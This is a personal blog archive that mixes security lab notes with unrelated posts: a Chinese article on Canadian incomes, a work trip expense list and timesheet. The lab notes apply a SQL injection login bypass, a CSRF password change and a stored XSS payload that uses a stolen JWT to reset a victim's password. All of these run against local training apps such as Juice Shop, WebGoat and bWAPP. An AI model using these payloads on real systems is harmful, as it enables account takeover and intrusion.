Friday, December 31, 2021

cross site request forgery + API xss + SQL injection

download juice shop @ https://github.com/juice-shop/juice-shop/

install nodejs 
node -v                                                            
v12.22.7

cd /home/kali/Downloads/juice-shop-master/   
npm install
npm start

create account -> log in

start burpsuit -> turn off intercept -> login is scanned in http history

after logged in, navigate to change password page
enter old and new passwords

GET /rest/user/change-password?current=115500&new=abcde&repeat=abcde
right click on change password request -> send to repeater

change GET /rest/user/change-password?current=115500&new=abcde&repeat=abcde
to GET /rest/user/change-password?new=abcde&repeat=abcde

response 200 shows once user logged, password can be changed without old password

login as admin through sql injection https://www.youtube.com/watch?v=W4MXUnZB2jc
{"email":"' or 1=1 --","password":""}

send api/Quantities to repeater
change Get /api/Quantities to api/Products -> send

change GET to OPTIONS -> obtain PUT request is allowed

change request to PUT /api/Products/1
add Content-Type: application/json

in the bottom add json {"description": "hacked juice"}
response shows description updated

verify hacked juice is in description on website

inspect website and find JWT is in local storage

API xss
using admin JWT, inject script in 1st product description in PUT /api/Products/1

{"description":"hacked juice <iframe src=\"javascript:var xmlhttp = new XMLHttpRequest();xmlhttp.open('GET', 'http://localhost:3000/rest/user/change-password?new=123321&repeat=123321');xmlhttp.setRequestHeader('Authorization', 'Bearer ' + window.localStorage.token); xmlhttp.send(); alert('password hacked to 123321')\">"}


login as bob with password abcde

bob clicked 1st product, his login password is changed

log bob in again with new password

bob is logged in with forged password
reference:

Thursday, December 30, 2021

Hugh Helfner story


2021加拿大各省家庭平均收入



如果想要移居加拿大,需要拥有什么样的收入才能生活下来一定是大家最关心的问题,毕竟人人都希望可以得到可观的薪水,这样才能在加拿大过上幸福愉快、自由自在的日子。

2021年家庭平均收入

根据Insurdinary的最新报告,加拿大人的平均每周工资为$1050.59元,相当于全职员工的年平均年收入为$5.4万元。由于每年工资增长不断上升,大多数加拿大雇员的收入都比一年前更高。


自2019年1月以来,加拿大的平均工资增长了4%,而此前加拿大的工资年增长率是2.7%,所以涨幅是在加速的。

加拿大各省家庭平均收入

以下是2021年加拿大各省的年平均工资,可以看出BC省的工资增长率是最高的为5.6%,年平均工资约$5.3万元,而Nunavut的年平均工资是所有省里最高的,约$8.7万元。


虽然加拿大整体的平均工资有所增加,但这并不意味着雇员在每个省和地区能获得同样的工资,比如在AB省,BC省,安省和魁省都长久以来有着比其他地方更高的平均工资。根据数据,我们可以看到加拿大的工资增长率因省和地区而异。

加拿大发展最快的行业

对于正在规划职业生涯的潜在求职者来说,研究过去12个月中哪些行业增长最快可能非常有益。

虽然加拿大的平均收入从2019年到2021年增长了4%,但这一增长率在所有行业和经济部门中并不统一。事实上,下面提到的这些行业的平均工资增长超过8%,是全国平均水平的两倍多:


金融和保险业依然保持强劲的薪资增长,实力达到了9.3%。令人有些意外的是艺术、娱乐和休闲行业的薪酬增长惊人,增长了26.3%。

数据显示房地产行业已从2019年初的负增长状况中明显恢复,该行业目前在2021年的平均工资涨幅排名第二,平均上涨14.6%。

加拿大酬薪最低的行业

如果考虑有在以下相关方向寻找工作,那么你的收入可能会比较低。


虽然艺术、娱乐和休闲行业的加薪幅度最高(26.3%),但平均年薪仅增至约$4万。不过薪酬的高增长率表明这些行业正在崛起,并会继续为求职者和新员工提供绝佳的机会。零售行业的年薪最低,仅为$3.4万元。

加拿大收入6位数的人数百分比

据统计,15.7%的加拿大人年收入超过$10万元。大概17.6%的加拿大人年工资在$6万元至$7.9万元之间,大约2.1%的人每年薪资少于$5000元。

40-50岁左右年龄的收入

45岁至54岁的加拿大人每年平均收入约为$6.69万元,当按照年龄划分收入时,这个年龄段的收入达到了峰值,远高于25岁至34岁年龄段的年轻加拿大人的收入(约$4.59万元)。


近200万老年人每年的生活费不到$1.7万元,低于加拿大单身人士$1.8万元的贫困线。事实上,将近15%的单身老人生活在贫困之中。

千禧年(2000年左右出生)一代的收入

在25岁至35岁之间,千禧一代的税后家庭收入中位数为$4.4万元,最近的加拿大收入数据表明,当今的年轻一代比前几代更富有。

性别上收入的不同

具有类似经验、社会经济地位和人口特征的女性每年的收入比男性少约$7200元。因此,女性必须工作15个半月才能获得与男性相同的12个月工资。

税收

众所周知加拿大被称为“万税之国”,纳税也是每个加拿大家庭的主要支出。根据弗雷泽研究所的一项研究,按照一个典型的加拿大家庭每年收入$9.1万元,需要缴纳的税款为$3.9万元,也就是说高达42.6%的收入会被征收。

除了收入和工资的税需要被扣除外,加拿大人还需要缴纳其他税款,包括地税、销售税、进口税和酒水等等。

由于税收制度,加拿大的收入差距减少了近30%。虽然加拿大的不平等现象仍然存在,但加拿大的累进税制结构大大改善了本国的收入分配。最底层的40%的收入约占全国税前财富的13%,税后增加到21%。

另一方面,尽管前20%的人平均收入为$13.1万元,但他们的税后收入却平均减少了约$2.6万元。这一安排对减少加拿大的收入不平等做出了重大贡献。

在加拿大有多少百万富翁呢?

在加拿大净资产超过100万元的加拿大人约有168.2万人(top4%),在2023年可能会有200万人成为百万富翁。

研究表明,加拿大的百万富翁们主要归功于近几年的房价高涨。仅在2020年,就有24万加拿大人加入了百万富翁的俱乐部。

而在世界上,加拿大是拥有百万富翁最多的国家里的第八名,中国排在第二。


加拿大哪个城市的百万富翁最多?

这可能会让人感到意外,但卡尔加里的人均百万富翁最多——每10万名居民中有225名。人均比率可能比城市百万富翁的绝对数量更相关,因为百万富翁的人均比例给出了更真实的图景。

例如,北京拥有的百万富翁比卡尔加里多得多。但是在北京走一圈,你会看到很多富人,也有无数穷人在工厂工作。


然而,卡尔加里并不一定是超级富豪聚集的地方,这些金字塔顶端的富豪更多的是在出现BC省和安省。

据统计,多伦多拥有最多的百万富翁,目前大约有15万。紧随其后的是蒙特利尔,拥有超过5万名百万富翁,卡尔加里拥有约3万名百万富翁。

有点令人惊讶的是,温哥华仅以大约2万名百万富翁位居第四。

看完这些数据后,大家觉得自己的薪资都达到预期了吗?

Wednesday, December 29, 2021

cross site scripting intro WebGoat

download webgoat @ https://github.com/WebGoat/WebGoat/releases
if webgoat build version is higher than linux java version, download previous version

start server
java -Dfile.encoding=UTF-8 -Dserver.port=8080 -Dserver.address=localhost -Dhsqldb.port=9001 -jar webgoat-server-8.1.0.jar

open http://localhost:8080/WebGoat/
register new user

xss lesson 10 -> inspect element -> debugger ->goatRouter.js -> find test route

inject script into url
http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();<%2Fscript>
inspect element -> console -> script executed
https://www.youtube.com/watch?v=zCGOvvQknoc
reference:

cross site scripting intro bWAPP

downlaod bwapp @ http://www.itsecgames.com/download.htm

start sql server, log in as admin

extract bwapp.zip, change database setting @ bWAPP_latest/bWAPP/admin/settings.php

serve bWAPP
cd /home/kali/Downloads/bWAPP_latest/bWAPP/
php -S 127.0.0.1:80 -t .

open install page
http://127.0.0.1/install
install successful
dbeaver &
database created

create login

select reflected get from portal

inject script

script executed

select xss-stored form portal, inject script, submit
script is saved on database

refresh page, stored script is executed
reference:

Saturday, December 25, 2021

zap 1 find hidden files

download zap

sudo sh ZAP_2_11_1_unix.sh                       

[sudo] password for kali: 
Starting Installer ...
open zap

tools -> options -> set local proxy

serve multillidae on localhost

quick start -> manual explore localhost

right click on http:127.0.0.1 -> attack -> spider

spidering starts

right click on http:127.0.0.1 -> attack -> forced browse and children
in the forced browse tab dropdown list -> select default list
right click on http:127.0.0.1 -> attack -> forced browse and children

after forcing browse for a while, pause -> open tree view 
-> right click on get request in notes folder -> open in browser

hidden page opens
reference:

Saturday, December 18, 2021

long island trip

expense

Dec 1 - phone
Dec 2 - hard drive, power bar, mouse
Dec 5 - gas
Dec 10 - hotel
Dec 12 - gas
Dec 16 - phone
Dec 18 - hotel
Dec 19 - phone
Dec 21 - car rental, gas, hotel, uber
Dec 22 - hotel, plane ticket, baggage, uber
Dec 23 - plane ticket, baggage, taxi

timesheet
Dec 1 - 8h - ferry to long island
Dec 2 - 8h - weather down
Dec 3 - 12h - survey
Dec 4 - 12h - survey
Dec 5 - 8h - survey
Dec 6 - 8h - weather down
Dec 7 - 12h - survey
Dec 8 - 8h - weather down
Dec 9 - 12h - survey
Dec 10 - 8h - weather down
Dec 11 - 8h - weather down
Dec 12 - 12h - survey
Dec 13 - 12h - survey
Dec 14 - 12h - survey
Dec 15 - 8h - weather down
Dec 16 - 8h - weather down
Dec 17 - 8h - survey
Dec 18 - 8h - weather down
Dec 19 - 12h - survey
Dec 20 - 8h - survey
Dec 21 - 8h - pcr test
Dec 22 - 8h - ferry back
Dec 23 - 8h - ferry back

James Webb Telescope



Wednesday, December 15, 2021

burp suit 4 multillidae

download multillidae @ https://github.com/webpwnized/mutillidae

#terminal
#install dependency
php -version                                                               
PHP 7.4.21 
sudo apt-get install php7.4-curl php7.4-mbstring php7.4-xml 

sudo service mysql start  

#login as root
sudo mysql -u root 

#create super user for new database
MariaDB [(none)]> CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; 

#grant user privilage
MariaDB [(none)]> GRANT ALL PRIVILEGES ON * . * TO 'dvwa'@'localhost';

#switch user to dvwa
MariaDB [(none)]> system mysql -u dvwa -p

#test dvwa has access to database
MariaDB [(none)]> create database a;
Query OK, 1 row affected (0.001 sec)

MariaDB [(none)]> drop database a;
Query OK, 0 rows affected (0.001 sec)

change username, password in includes/database-config
#start server
cd Downloads/mutillidae-master
php -S 127.0.0.1:80 -t .

click setup database

website is running on server
#open dbeaver
dbeaver &
database is created
reference:

mysql switch user & grant privilege